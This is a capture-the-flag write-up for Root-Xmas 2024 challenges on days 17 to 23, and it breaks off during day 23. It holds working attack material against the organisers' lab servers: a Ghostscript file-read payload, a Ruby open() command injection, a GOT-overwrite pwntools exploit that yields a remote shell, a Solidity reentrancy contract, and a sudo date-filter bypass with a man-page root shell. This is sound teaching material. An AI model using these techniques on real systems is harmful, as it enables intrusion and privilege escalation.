Overview
Root-Xmas Challenge 2024 was a 24-day event created by the Root Me team, running during the month of December 2024.
One challenge was published every day from December 1st to December 24th. The challenges were available at https://xmas.root-me.org. I managed to be solve them all.
Huge thank you to Root Me team for organizing the event, and thanks to the challenge makers Elweth, Mika, Laluka, Nishacid, Elf, Chic0s, Cryptanalyse, Gravis, K.L.M and Voydstack.
This post covers the challenges from December 17th to December 24th.
- Solutions for days 01-08
- Solutions for days 09-16
- Solutions for days 17-24
Day 17 - Ghost in the shell
Category: Misc
This server interprets arbitrary PostScript scripts using the GhostScript interpreter to generate PDF files. The goal is to read a file at /tmp/flag-<RANDOM>.txt
.
Browsing over PostScript commands (like here and here), we can find interesting commands to read files and list directories.
This solution uses filenameforall
to iterate files matching a pattern (/tmp/flag*
), file
to open them and readstring
to read from them. Then the data read from the files is shown in the page.
Send the following script to receive the flag written inside a PDF file.
%!PS
% Set font and position
/newfont /Helvetica findfont 12 scalefont setfont
100 700 moveto
% For each filename like /tmp/flag*
(/tmp/flag*) {
% Open the file
(r) file
% Read a string from it
1000 string readstring
% Write that string in the page
pop show
} 1000 string filenameforall
showpage
Day 18 - Santa’s sweet words
Category: Web
This web challenge is written in the Ruby programming language. The vulnerability is in the /api/message
route.
get '/api/message' do
number = params[:number]
file_name = "#{number}.txt"
content = open(file_name, "rb") { |f| f.read }
content_type 'application/octet-stream'
attachment file_name
body content
end
We have control over file_name
in the open
call. Unfortunately .txt
is appened to our input so we can’t really use that to read interesting files on the server.
Reading the Ruby documentation for open
, we learn that if file_name
starts with a |
, a subprocess is created from that path (?!). This means we can execute commands on the server.
import requests
URL = 'https://day18.challenges.xmas.root-me.org'
command = 'cat /flag*'
print(requests.get(f"{URL}/api/message?number=| {command}", verify=False).text)
# RM{Why_d0esn't_Open_Ju5t_Op3n_in_rUbY??}
Day 19 - Rebel Santa Alliance
Category: Cryptography
In this cryptography challenge, the goal is to factor the RSA modulus n = p * q
so that we can decrypt the flag.
This time, we are given the values s = (p + q) ^ 2512 (mod n)
and a = (p + 2024) ^ q (mod n)
.
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import bytes_to_long
sk = RSA.generate(2048)
pk = sk.public_key()
s = pow(sk.p + sk.q, 25_12, sk.n)
a = pow(sk.p + 2024, sk.q, sk.n)
enc = bytes_to_long(PKCS1_OAEP.new(pk).encrypt(open("flag.txt", "rb").read()))
print(f"{n = }")
print(f"{s = }")
print(f"{a = }")
print(f"{enc = }")
For the first equation, notice that s = (p + q) ^ 2512 = p ^ 2512 + q ^ 2512 (mod n)
, because all the other terms are multiples of p * q
.
Then, consider (p + 2024) ^ q
, but modulo p
and modulo q
, the factors of n
.
(p + 2024) ^ q = 2024 ^ q (mod p)
, because all the other terms are multiples ofp
,(p + 2024) ^ q = p + 2024 = p + 2024 ^ q (mod q)
, according to Fermat’s little theorem (applied twice).
Now let b = p + 2024 ^ q (mod n)
. We also have b = 2024 ^ q (mod p)
and b = p + 2024 ^ q (mod q)
. The unicity of the solution to the Chinese Remainder Theorem applied to the previous equations implies that a = b (mod n)
. Therefore, a = p + 2024 ^ q (mod n)
, a = 2024 ^ q (mod p)
and a = p + 2024 (mod q)
.
The last equation implies there exists an integer k
such that a - 2024 = p + k * q
.
Using the previous results, we get:
(a - 2024) ^ 2512 - s (mod n)
= (p + k * q) ^ 2512 - p ^ 2512 - q ^ 2512 (mod n)
= p ^ 2512 + (k * q) ^ 2512 - p ^ 2512 - q ^ 2512 (mod n)
= q ^ 2512 * (k ^ 2512 - 1) (mod n)
= q * [q ^ 2511 * (k ^ 2512 - 1)] (mod n)
We found a value that is a multiple of q
and not p
. We can now compute the greatest common divisor between that value and n
to get the value of q
.
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.number import bytes_to_long, long_to_bytes
import math
n = ...
s = ...
a = ...
enc = ...
# Find q using the previous instructions
q = math.gcd(pow(a - 2024, 2512, n) - s, n)
assert q > 1 and n % q == 0
# Derive RSA parameters and decrypt the flag
p = n // q
e = 65537
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = PKCS1_OAEP.new(RSA.construct((n, e, d, q, p))).decrypt(long_to_bytes(enc))
print(m.decode())
Day 20 - Santa’s db
Category: Pwn
In this pwn challenge, we have two choices, which can be used multiple times:
show_gift()
is used to read gifts from a listgift_db
,change_gift()
is used to modify the value of a gift in the same database.
Both choices are protected using the function auth()
which asks for a login (should be “Santa”) and a PIN code (random based on time and PID).
show_gift()
can only be used once if we are not authenticated,change_gift()
should not be usable at all if unauthenticated, but there is a missingreturn
so we can use it anyway. This was not intended but I will use this vulnerability in the challenge (the intended solution is not too different I think).
// Original value of gift_db
#define DB_SIZE 6
char gift_db[DB_SIZE][0x20] = {
"Gravis' Pwn Chall",
"PS12",
"ARM64 MultiThreading Flag",
"Kiss from Nish",
"RTX 5090",
"1 Win on Valo (for Mika)"
};
// This function is called before show_gift() and change_gift()
void auth() {
char login[0x10] = {0};
char pass[0x10] = {0};
printf("Lemme see those credentials");
printf("Login : ");
fgets(login, sizeof(login), stdin);
printf("Password : ");
fgets(pass, sizeof(pass), stdin);
if (strcmp(login, "Santa")==0 && *(int*)pass==santas_pin) {
printf("Welcome Santa ! :)");
is_santa=1;
} else {
puts(login);
puts(login_error);
}
}
Let’s start with change_gift()
. We can specify which offset in gift_db
we want to modify, and the new value. The function does not check bounds for the offset, which means we can write anywhere in memory (aligned on 0x20, the size of a gift).
void change_gift() {
if (!is_santa) {
printf("You are not Santa, you can't change a gift !!!");
// Missing return here
}
int n_gift;
printf("Tell me, which gift entry do you want to modify ? ");
scanf("%d", &n_gift);
getchar();
printf("Go for it !");
// No bounds check!
fgets(gift_db[n_gift], sizeof(gift_db[0]), stdin);
}
We can use this vulnerability to overwrite the value of Santa’s pin (offset 9 from the start of gift_db
), but this is not actually required for this solution.
def change_gift(username=b'Santa\x00', password=b'xxxx', gift=0, gift_value=b'xxxx'):
r.recvuntil(b'choice : ')
r.sendline(b'2')
[...]
# Set santas_pin (8 bytes long) using OOB write in change_gift
change_gift(gift=9, gift_value=b'AAAA\x00\x00\x00\x00')
The auth()
function sets the is_santa
variable to 1 if we manage to log in correctly and it nevers goes back to 0. This means we can pretend to be Santa for the entire execution of the program after we have logged in once. Again, we didn’t really need to do that.
def show_gift(username=b'Santa\x00', password=b'xxxx', choice=b'C', gift=0, stop_after_login=False):
r.recvuntil(b'choice : ')
r.sendline(b'1')
[...]
show_gift(password=b'AAAA', gift=777)
We know how to write anywhere in memory, but we need some kind of leak to defeat ASLR. At first glance, the show_gift()
function seems to correctly check for bounds for both choices ‘R’ and ‘C’.
void show_gift() {
char choice[0xc] = {0};
int n_gift;
[...]
printf("Oh you're curious which gifts we're considering for Xmas ?");
printf("Do you want to keep some xmas magic and see a random gift, or choose which one to see ?\nAnswer R for random or C to choose : ");
fgets(choice, sizeof(choice), stdin);
if (choice[0]=='R') {
printf("Random one, nice choice !");
n_gift = rand()%DB_SIZE;
}
else if (choice[0]=='C') {
printf("Gift number : ");
scanf("%d", &n_gift);
getchar();
if (n_gift<0 || n_gift>=DB_SIZE) {
printf("This gift doesn't even exist, go to naughty list");
return;
}
}
printf("Here's the %u%s gift : %s\n", n_gift, n_gift==1? "st": n_gift==2? "nd": n_gift==3? "rd": "th", gift_db[n_gift]);
}
If we look more carefully though, we notice that we can choose any other value than ‘R’ or ‘C’ and that the n_gift
variable is NOT initialized. If we make a choice other than ‘R’ or ‘C’, that uninitialized value of n_gift
will be used.
After some debugging, we find that we can control the uninitialized value of n_gift
during the call to auth()
that preceeds the call to show_gift()
. That is because there is an overlap between the memory location of the local variable password
of auth()
and n_gift
of show_gift()
.
Using a crafted value for the password during authentication, we can use show_gift()
to leak values outside of gift_db
.
Finally, the binary is compiled with No RELRO. We can redirect code execution by overwriting GOT entries. First we use show_gift()
to leak a libc address by reading a value from the GOT, then we use change_gift()
to replace the GOT entry for strcmp
with the address of system
. The next call to strcmp(v1, v2)
will call system(v1)
instead.
Below is the full exploit script.
#!/usr/bin/env python3
from pwn import *
exe = ELF("main_patched")
libc = ELF("./libs/libc.so.6")
ld = ELF("./libs/ld-linux-x86-64.so.2")
context.binary = exe
def conn():
if not args.REMOTE:
r = process([exe.path])
if args.DBG:
gdb.attach(r)
else:
r = remote("challenges.xmas.root-me.org", 10020)
return r
def show_gift(username=b'Santa\x00', password=b'xxxx', choice=b'C', gift=0, stop_after_login=False):
r.recvuntil(b'choice : ')
r.sendline(b'1')
r.recvuntil(b'Login : ')
r.sendline(username)
r.recvuntil(b'Password : ')
r.sendline(password)
if stop_after_login:
return
r.recvuntil(b'choose : ')
r.sendline(choice)
if choice == b'C':
r.recvuntil(b'Gift number : ')
r.sendline(str(gift).encode())
def change_gift(username=b'Santa\x00', password=b'xxxx', gift=0, gift_value=b'xxxx'):
r.recvuntil(b'choice : ')
r.sendline(b'2')
r.recvuntil(b'Login : ')
r.sendline(username)
r.recvuntil(b'Password : ')
r.sendline(password)
r.recvuntil(b'modify ? ')
r.sendline(str(gift).encode())
r.recvuntil(b'Go for it !')
r.sendline(gift_value)
r = conn()
# Set santas_pin (8 bytes long) using OOB write in change_gift
change_gift(gift=9, gift_value=b'AAAA\x00\x00\x00\x00')
# Login as santa so that is_santa is set forever
show_gift(password=b'AAAA', gift=777)
# By setting the password in a precise way in auth(), we can initialize n_gift of show_gift to an arbitrary value
# By using a choice != 'C' and != 'R', the n_gift value does not change and uses the previous value
# Use this to leak a GOT entry
n_gift = -3
show_gift(password=b'\x00' * 8 + p32(n_gift, sign='signed'), choice=b'X')
r.recvuntil(b'gift : ')
leak = int.from_bytes(r.recvuntil(b'\n')[:-1], byteorder='little')
libc.address = leak - libc.symbols['atoi']
print('Leak:', hex(leak))
print('Libc:', hex(libc.address))
# Replace strcmp with system in GOT using OOB write in change_gift
gift = -4
change_gift(gift=gift, gift_value=p64(libc.symbols['system']))
# Get shell, calling strcmp("/bin/sh", "Santa")
show_gift(username=b'/bin/sh\x00', stop_after_login=True)
r.interactive()
Running it gives a shell on the remote server.
$ python solve.py REMOTE SILENT
Leak: 0x7f1b594c9650
Libc: 0x7f1b59483000
$ id
uid=1001(gravis) gid=1001(gravis) groups=1001(gravis)
$ cat flag.txt
RM{TacosTacosTacosTacos}
Day 21 - Kekalor
Category: Web3
We are given a wallet on a private Ethereum blockchain where a Challenge
contract is deployed. The challenge also deploys a KekalorNFT
contract which handles the minting and exchange of the fictional KKNFT
token. The goal is to obtain more than one token.
The Challenge
contract allows us to get up to 11 points using getPoints(string memory name, string memory surname)
. With 10 points, we can call claimNFT(bytes32 identifier)
once to mint and receive one KKNFT
.
The Challenge
contract will only distribute a total of 11 points, which mean we will never be able to reach enough points to mint multiple KKNFT
, even by using multiple accounts.
// SPDX-License-Identifier: MIT
/// Title: Kekalor
/// Author: K.L.M
/// Difficulty: Medium
pragma solidity ^0.8.19;
import './KekalorNFT.sol';
contract Challenge {
bool public Solved = false;
address public admin;
KekalorNFT public kekalornft;
uint256 public constant POINTS_NEEDED_FOR_TAKEOVER = 10;
uint256 public constant MAX_POINTS = 11;
uint256 public pointsclaimed = 0;
mapping(string => mapping(string => bool)) private NameSurname;
mapping(bytes32 => uint256) private points;
mapping(address => bool) private claimed;
constructor(){
kekalornft = new KekalorNFT(address(this));
admin = msg.sender;
}
function claimNFT(bytes32 identifier) public {
require(points[identifier] >= POINTS_NEEDED_FOR_TAKEOVER, "Not enough points to claim NFT");
require(claimed[msg.sender] == false, "You already claimed your NFT");
kekalornft.mint(msg.sender);
points[identifier] = 0;
claimed[msg.sender] = true;
}
function getPoints(string memory name, string memory surname) public {
require(pointsclaimed < MAX_POINTS, "All points have been claimed");
bytes32 identifier = keccak256(abi.encodePacked(name, surname));
require (!NameSurname[name][surname], "You already claimed your points");
points[identifier] += 1;
pointsclaimed += 1;
}
function solve() public {
require(kekalornft.balanceOf(msg.sender)>=2, "You need at least 2 NFTs to solve this challenge");
Solved = true;
}
function isSolved() public view returns(bool){
return Solved;
}
}
The KekalorNFT
contract handles the minting, burning and exchange of KKNFT
tokens. Sensitive operations such as minting can only be executed when called from the Challenge
contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract KekalorNFT {
string public name = "KekalorNFT";
string public symbol = "KKNFT";
address private kekalor;
uint256 private _tokenId = 0;
mapping(uint256 tokenId => address) private _owners;
mapping(address owner => uint256) private _balances;
mapping(uint256 tokenId => address) private _tokenApprovals;
mapping(address owner => mapping(address operator => bool)) private _operatorApprovals;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
constructor(address kekalorAddress) {
kekalor = kekalorAddress;
}
modifier onlyKekalor() {
require(msg.sender == kekalor, "KekalorNFT: caller is not authorized");
_;
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "KekalorNFT: invalid owner address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "KekalorNFT: queried owner for nonexistent token");
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(msg.sender == owner, "KekalorNFT: approve caller is not the owner");
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_owners[tokenId] != address(0), "KekalorNFT: queried approvals for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public {
require(operator != address(0), "KekalorNFT: invalid operator");
_operatorApprovals[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public {
require(to != address(0), "KekalorNFT: invalid transfer receiver");
address owner = ownerOf(tokenId);
require(from == owner, "KekalorNFT: transfer caller is not the owner");
require(msg.sender == owner || msg.sender == getApproved(tokenId) || isApprovedForAll(owner, msg.sender), "KekalorNFT: caller is not approved to transfer");
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function mint(address to) public onlyKekalor returns (uint256) {
uint256 currentTokenId = _tokenId;
_mint(to, currentTokenId);
return currentTokenId;
}
function burn(uint256 tokenId) public onlyKekalor {
_burn(tokenId);
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "KekalorNFT: invalid mint receiver");
require(_owners[tokenId] == address(0), "KekalorNFT: token already minted");
_balances[to] += 1;
_owners[tokenId] = to;
_tokenId += 1;
//verify the receiver is a payable address
to.call{value: 0}("");
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal {
address owner = ownerOf(tokenId);
require(msg.sender == owner, "KekalorNFT: caller is not the owner");
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
}
This pair of smart contracts is vulnerable to a reentrancy attack during the call to Challenge.claimNFT
.
Indeed, the Challenge
contract first calls kekalornft.mint(msg.sender)
before updating its own state (in particular points[identifier] = 0; claimed[msg.sender] = true;
). The _mint
function makes an external call to the sender; we can use this behaviour to reenter Challenge.claimNFT
before the state update that prevents us from minting multiple tokens.
=== Normal control flow ===
Challenge.claimNFT
KekalorNFT.mint
KekalorNFT._mint
sender.call
<-----------------|
=== Control flow with reentrancy ===
Challenge.claimNFT
KekalorNFT.mint
KekalorNFT._mint
sender.call
Challenge.claimNFT
KekalorNFT.mint
KekalorNFT._mint
sender.call
[...] multiple times
sender.call
<-----------------------------------------|
The following contract can be deployed on the chain (for example using the online Remix IDE) to execute this attack.
// SPDX-License-Identifier: MIT
import './challenge.sol';
import './KekalorNFT.sol';
pragma solidity ^0.8.19;
contract Solver {
Challenge public challenge;
KekalorNFT public kekalor;
constructor(address payable _challengeAddress) {
challenge = Challenge(_challengeAddress);
kekalor = challenge.kekalornft();
}
// This is called by `to.call{value: 0}("")` in KekalorNFT._mint
fallback() external payable {
// Reentrancy to claim more NFTs before the Challenge state is updated
if (kekalor.balanceOf(address(this)) < 5) {
claim();
}
}
// Call this once to get multiple NFTs
function attack() public {
// Claim 10 points to allow claiming a NFT
for (int i = 0; i < 10; i++) {
challenge.getPoints("nikost", "nikost");
}
// Claim the first NFT (this will claim multiple NFTs with reentrancy)
claim();
// Solve the challenge now that we have multiple NFTs
challenge.solve();
}
function claim() private {
challenge.claimNFT(keccak256(abi.encodePacked("nikost", "nikost")));
}
}
After running the attack, we are rewarded with the flag: RM{K3ck4k_1sn7_K3ck4k1ng}}
.
Day 22 - The date is near
Category: Misc
We have SSH access to the server. The goal is read an unknown file in /root/
. Using sudo -l
, we find that we are allowed to execute a few commands with superuser rights.
$ sudo -l
Matching Defaults entries for sshuser on the-date-is-near:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty, !requiretty
User sshuser may run the following commands on the-date-is-near:
(ALL) NOPASSWD: /bin/date *, !/bin/date *-f*, !/bin/date *--file*
(ALL) NOPASSWD: /usr/bin/dev.sh
Executing the file /usr/bin/dev.sh
with sudo
does not seem to have any side effect and we cannot read its content because of the permissions on that file.
$ sudo /usr/bin/dev.sh
$ ls -la /usr/bin/dev.sh
-rwx------ 1 root root 1286 Dec 22 10:18 /usr/bin/dev.sh
We are also allowed to to run /bin/date
with any arguments, but the command cannot contain -f
or --file
. This is trying to prevent us from reading files as root using the -f
option of date
(https://gtfobins.github.io/gtfobins/date/#file-read).
This protection is uneffective however because we can pack multiple flags together to bypass the filter, like -R
and -f
, as shown by the following command. It makes it possible to read the content of /usr/bin/dev.sh
, as date
will leak all the lines that don’t have a valid date format (basically all the lines).
$ sudo date -Rf /bin/dev.sh
date: invalid date '#!/bin/bash'
Mon, 23 Dec 2024 00:00:00 +0000
date: invalid date '# Check if the --debugmyscript argument is present'
date: invalid date 'if [[ "$1" != "--debugmyscript" ]]; then'
date: invalid date ' exit 0 # Exit silently if the --debugmyscript argument is not provided'
date: invalid date 'fi'
[...]
We need to pass --debugmyscript
to make dev.sh
do anything, this is why we couldn’t get any information from it before. The script has a few options but the interesting one is -m
.
case $opt in'
l)'
echo "Listing running processes:"'
ps aux'
;;'
d)'
echo "Displaying available disk space:"'
df -h'
;;'
m)'
echo "Displaying the manual for printf:"'
man printf'
;;'
When running the man printf
command, we can use ![cmd]
to run an arbitrary command with root privileges.
sshuser@the-date-is-near:~$ sudo /usr/bin/dev.sh --debugmyscript -m
!/bin/bash
root@the-date-is-near:/home/sshuser# id
uid=0(root) gid=0(root) groups=0(root)
root@the-date-is-near:/home/sshuser# cat /root/flag*
RM{S4NTA_IS_N0T_4DMIN_SYS}
Day 23 - Gift Control Interface
Category: Pwn
This is the hardest challenge of the event. We can submit binary x86_64 assembly code and the server will run it using the Unicorn CPU emulator framework. The goal is to escape the Unicorn sandbox and get remote code execution on the server.
// main.c
int main(int argc, char *argv[]) {
printf("Ho ho ho! Welcome to the GCI (Gift Control Interface)\n");
printf("You can write your gift list here and I will execute it for you\n");
printf("Code length (%d max): ", CODE_SIZE);
size_t code_len = read_long();
void *code = malloc(code_len);
printf("Enter your code: ");
fread(code, 1, code_len, stdin);
printf("Executing your code...\n");
return emu_launch(code, code_len);
}
// emu.c
static bool emu_init(uc_engine **uc, void *code, size_t code_len)
{
uc_engine *_uc;
uc_err err;
if ((err = uc_open(UC_ARCH_X86, UC_MODE_64, &_uc)) != UC_ERR_OK) {
*uc = NULL;
return false;
}
// Map stack
uc_mem_map(_uc, STACK_START, STACK_SIZE, UC_PROT_READ | UC_PROT_WRITE);
uc_reg_write(_uc, UC_X86_REG_RSP, &(uint64_t) { STACK_START + STACK_SIZE });
// Map code
uc_mem_map(_uc, CODE_START, CODE_SIZE, UC_PROT_ALL);
uc_mem_write(_uc, CODE_START, code, code_len);
// Setup MMIO
uc_mmio_map(_uc, GCI_START, PAGE_SIZE, gci_read, NULL, gci_write, NULL);
*uc = _uc;
return true;
}
The emulator implements an extra MMIO (Memory-Mapped I/O) interface called “Gift Control Interface” with custom operations. This interface can be used to create, edit and view a list of gifts.
The code for this interface will run outside the emulation context, and it is where we need to find and exploit bugs.
// gci.h
#ifndef __GCI_H__
#define __GCI_H__
#include <stdlib.h>
#include <sys/types.h>
#include "unicorn/unicorn.h"
// Gift Control Interface
#define GCI_START 0xcafe0000
#define GCI_CTRL_GIFT 0x00
#define GCI_CTRL_GIFT_MAX 0x08
#define GCI_CTRL_GIFT_IDX 0x10
#define GCI_CTRL_CMD 0x18
#define GCI_CMD_INIT 0x1337
#define GCI_CMD_ADD_GIFT 0x1338
#define GCI_CMD_GET_GIFT 0x1339
#define GCI_CMD_EDIT_GIFT 0x1340
#define GCI_CMD_SUBMIT 0x1341
typedef uint32_t gift;
typedef struct gci_context
{
size_t gift_count;
size_t gift_max;
size_t gift_idx;
gift *gift_list;
gift gift_to_get;
gift gift_to_add;
} gci_context;
uint64_t gci_read(
uc_engine *uc,
uint64_t offset,
unsigned size,
void *user_data
);
void gci_write(
uc_engine *uc,
uint64_t offset,
unsigned size,
uint64_t value,
void *user_data
);
void gci_print_list(void);
#endif
// gci.c
#include <gci.h>
#include <unicorn/unicorn.h>
static gci_context gci_ctx;
static void gci_handle_command(uc_engine *uc, uint64_t command)
{
switch (command) {
case GCI_CMD_INIT:
if (gci_ctx.gift_list)
free(gci_ctx.gift_list);
gci_ctx.gift_list = malloc(gci_ctx.gift_max * sizeof(gift));
gci_ctx.gift_count = 0;
break;
case GCI_CMD_ADD_GIFT:
if (gci_ctx.gift_list && gci_ctx.gift_count < gci_ctx.gift_max) {
gci_ctx.gift_list[gci_ctx.gift_count++] = gci_ctx.gift_to_add;
}
break;
case GCI_CMD_GET_GIFT:
if (gci_ctx.gift_list && gci_ctx.gift_idx < gci_ctx.gift_max) {
gci_ctx.gift_to_get = gci_ctx.gift_list[gci_ctx.gift_idx];
}
break;
case GCI_CMD_EDIT_GIFT:
if (gci_ctx.gift_list && gci_ctx.gift_idx < gci_ctx.gift_max) {
gci_ctx.gift_list[gci_ctx.gift_idx] = gci_ctx.gift_to_add;
}
break;
case GCI_CMD_SUBMIT:
if (gci_ctx.gift_list == NULL || gci_ctx.gift_count == 0)
break;
printf("Your gift list has been submitted to santa !\n");
printf("Gifts:\n");
for (size_t i = 0; i < gci_ctx.gift_count; i++) {
printf("#%lu: %#x\n", i, gci_ctx.gift_list[i]);
}
uc_emu_stop(uc);
break;
default:
break;
}
}
uint64_t gci_read(uc_engine *uc, uint64_t offset, unsigned size, void *user_data)
{
switch (offset) {
case GCI_CTRL_GIFT:
return gci_ctx.gift_to_get;
case GCI_CTRL_GIFT_MAX:
return gci_ctx.gift_max;
case GCI_CTRL_GIFT_IDX:
return gci_ctx.gift_idx;
case GCI_CTRL_CMD:
default:
return 0;
}
}
void gci_write(uc_engine *uc, uint64_t offset, unsigned size, uint64_t value, void *user_data)
{
switch (offset) {
case GCI_CTRL_GIFT:
gci_ctx.gift_to_add = value;
break;
case GCI_CTRL_GIFT_MAX:
gci_ctx.gift_max = value;
break;
case GCI_CTRL_GIFT_IDX:
gci_ctx.gift_idx = value;
break;
case GCI_CTRL_CMD:
gci_handle_command(uc, value);
break;
default:
break;
}
}
The first difficulty in this challenge is to figure out how to communicate with the MMIO interface. In principle, we can do that by reading and writing to specific zones in memory that are defined in gci.h
. For example:
- Writing
0x1337
to address0xcafe0018
will run the commandGCI_CMD_INIT
which allocatesgift_list
. - Writing a value to address
0xcafe0008
will updategift_max
to that value. - Reading from address
0xcafe0010
will read the current value ofgift_idx
. - etc.
As an example, the following instructions initialize a 0x10 long gift list, add a new gift with value 0x4141 and submit it to Santa.
// Set gift_max to 0x10
mov %rax, 0xcafe0008
movq [%rax], 0x10
// INIT command
mov %rax, 0xcafe0018
movq [%rax], 0x1337
// Set gift_to_add to 0x4141
mov %rax, 0xcafe0000
movq [%rax], 0x4141
// ADD_GIFT command
mov %rax, 0xcafe0018
movq [%rax], 0x1338
// SUBMIT command
mov %rax, 0xcafe0018
movq [%rax], 0x1341
$ python -c "from pwn import *; code = asm(open('test.s', 'r').read(), arch='amd64'); import sys; sys.stdout.buffer.write(str(len(code)).encode() + b'\n' + code)" | ./src/bin/gci
Ho ho ho! Welcome to the GCI (Gift Control Interface)
You can write your gift list here and I will execute it for you
Code length (16384 max): Enter your code: Executing your code...
Your gift list has been submitted to santa !
Gifts:
#0: 0x4141
Note that we can only read and write 32-bit values through the MMIO, for some obscure implementation reason I don’t really understand. This means for example that gift_max
or gift_idx
can never be larger than 2^32.
For this step, it can be useful to try udbserver to debug the CPU emulated by Unicorn. It is very easy to use: simply add the line udbserver(uc, 1234, CODE_START);
right before err = uc_emu_start(uc, CODE_START, CODE_START + code_len, 0, 0);
in emu_launch
. This creates a gdb stub that we can connect to with gdb as if we were debugging a real CPU.
However, it cannot be used to view data outside the emulated CPU context, so this is only useful at the beginning to debug our emulated code.
$ python exploit.py SILENT | ./bin/gci_debug
Ho ho ho! Welcome to the GCI (Gift Control Interface)
You can write your gift list here and I will execute it for you
Code length (16384 max): Enter your code: Executing your code...
Waiting for a GDB connection on "0.0.0.0:1234"..
$ gdb -ex 'target remote localhost:1234'
Now we know how to communicate with the GCI, we can focus on exploiting a major bug in the implementation.
The bug is that it possible to edit the value of gift_max
after the initialization of gift_list
. This value is used for bound checks when using ADD_GIFT
, GET_GIFT
and EDIT_GIFT
commands. This can lead to reading and editing data outside the bounds of gift_list
. Recall that we are limited to 32 bit values in a 64-bit environment, which mean we will not be able to read / write before or too far away from the memory location of gift_list
.
The gift list is allocated using malloc
, which means it is allocated on the heap (outside the emulation context), so it might be possible to solve the challenge using heap tricks or by corrupting other data on the heap. Instead of going this way, I used the fact that gift_max
is not limited when running CMD_INIT
.
If we ask the GCI to initialize a large enough gift_list
, so large that it does not fit in the mapped memory heap, malloc
will use mmap
to allocate a new memory area where gift_list
can fit. The heap is usually placed near the main program memory space, while this new memory area will be placed right before loaded libraries such as libc or libunicorn and a few other areas.
Below is the memory layout after creating a gift_list
with gift_max
set to 0x1000000
, with ASLR disabled, using the challenge libraries.
Mapped address spaces:
Start Addr End Addr Size Perms objfile
0x555555554000 0x555555555000 0x1000 r--p /home/user/gci
0x555555555000 0x555555556000 0x1000 r-xp /home/user/gci
0x555555556000 0x555555557000 0x1000 r--p /home/user/gci
0x555555557000 0x555555558000 0x1000 r--p /home/user/gci
0x555555558000 0x555555559000 0x1000 rw-p /home/user/gci
0x555555559000 0x555555633000 0xda000 rw-p [heap] <---- original heap
0x7fffb37ff000 0x7fffb7804000 0x4005000 rw-p <---- new allocated area for gift_list
0x7fffb7804000 0x7fffb7805000 0x1000 ---p
0x7fffb7a00000 0x7fffb7a10000 0x10000 rw-p
0x7fffb7a10000 0x7fffb7a11000 0x1000 ---p
0x7fffb7ad8000 0x7ffff7ad7000 0x3ffff000 rwxp <---- RWX area used by libunicorn JIT
0x7ffff7ad7000 0x7ffff7ad8000 0x1000 ---p
0x7ffff7ad8000 0x7ffff7b5c000 0x84000 rw-p
0x7ffff7b5c000 0x7ffff7b6c000 0x10000 r--p /usr/lib/x86_64-linux-gnu/libm.so.6
0x7ffff7b6c000 0x7ffff7beb000 0x7f000 r-xp /usr/lib/x86_64-linux-gnu/libm.so.6
0x7ffff7beb000 0x7ffff7c43000 0x58000 r--p /usr/lib/x86_64-linux-gnu/libm.so.6
0x7ffff7c43000 0x7ffff7c44000 0x1000 r--p /usr/lib/x86_64-linux-gnu/libm.so.6
0x7ffff7c44000 0x7ffff7c45000 0x1000 rw-p /usr/lib/x86_64-linux-gnu/libm.so.6
0x7ffff7c45000 0x7ffff7c6d000 0x28000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c6d000 0x7ffff7df5000 0x188000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7df5000 0x7ffff7e44000 0x4f000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e44000 0x7ffff7e48000 0x4000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e48000 0x7ffff7e4a000 0x2000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e4a000 0x7ffff7e57000 0xd000 rw-p
0x7ffff7e57000 0x7ffff7e91000 0x3a000 r--p /usr/lib/libunicorn.so.2
0x7ffff7e91000 0x7ffff7f68000 0xd7000 r-xp /usr/lib/libunicorn.so.2
0x7ffff7f68000 0x7ffff7f9e000 0x36000 r--p /usr/lib/libunicorn.so.2
0x7ffff7f9e000 0x7ffff7f9f000 0x1000 ---p /usr/lib/libunicorn.so.2
0x7ffff7f9f000 0x7ffff7fb5000 0x16000 r--p /usr/lib/libunicorn.so.2
0x7ffff7fb5000 0x7ffff7fbb000 0x6000 rw-p /usr/lib/libunicorn.so.2
0x7ffff7fbd000 0x7ffff7fbf000 0x2000 rw-p
0x7ffff7fbf000 0x7ffff7fc3000 0x4000 r--p [vvar]
0x7ffff7fc3000 0x7ffff7fc5000 0x2000 r-xp [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 0x1000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 0x2b000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 0xa000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
